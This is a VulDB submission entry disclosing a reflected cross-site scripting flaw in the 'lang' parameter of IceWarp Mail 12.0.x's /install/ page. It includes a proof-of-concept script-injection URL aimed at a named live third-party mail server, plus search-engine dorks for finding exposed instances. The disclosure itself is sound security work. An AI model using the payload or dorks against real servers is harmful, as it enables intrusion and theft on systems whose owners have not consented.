| 标题 | IceWarp IceWarp Mail 12.0.x.x xss |
|---|
| 描述 | An xss was identified in the lang parameter in IceWarp's utility part, affecting several versions of x.x.x.x and x.x.x.x
https://hunter.how/list?searchValue=%20web.title%3D%3D%22IceWarp%20Utilities%22×tamp=1703616315118
Dorks
https://hunter.how/list?searchValue=web.title%3D%3D%22IceWarp%20Utilities%22×tamp=1703616489815
https://fofa.info/result?qbase64=c2VydmVyPSJJY2VXYXJwLzEyLjAuMy4xIg%3D%3D |
|---|
| 来源 | ⚠️ https://mail.moderndentallab.com/install/?lang=1%27%22()%26%25%3Czzz%3E%3CScRiPt%3Ealert(document.domain)%3C/ScRiPt%3E |
|---|
| 用户 | chor4o (UID 52584) |
|---|
| 提交 | 2023-12-26 19時56分 (2 年前) |
|---|
| 管理 | 2024-01-05 11時35分 (10 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 249759 [IceWarp 12.0.2.1/12.0.3.1 Utility Download /install/ lang 跨网站脚本] |
|---|
| 积分 | 19 |
|---|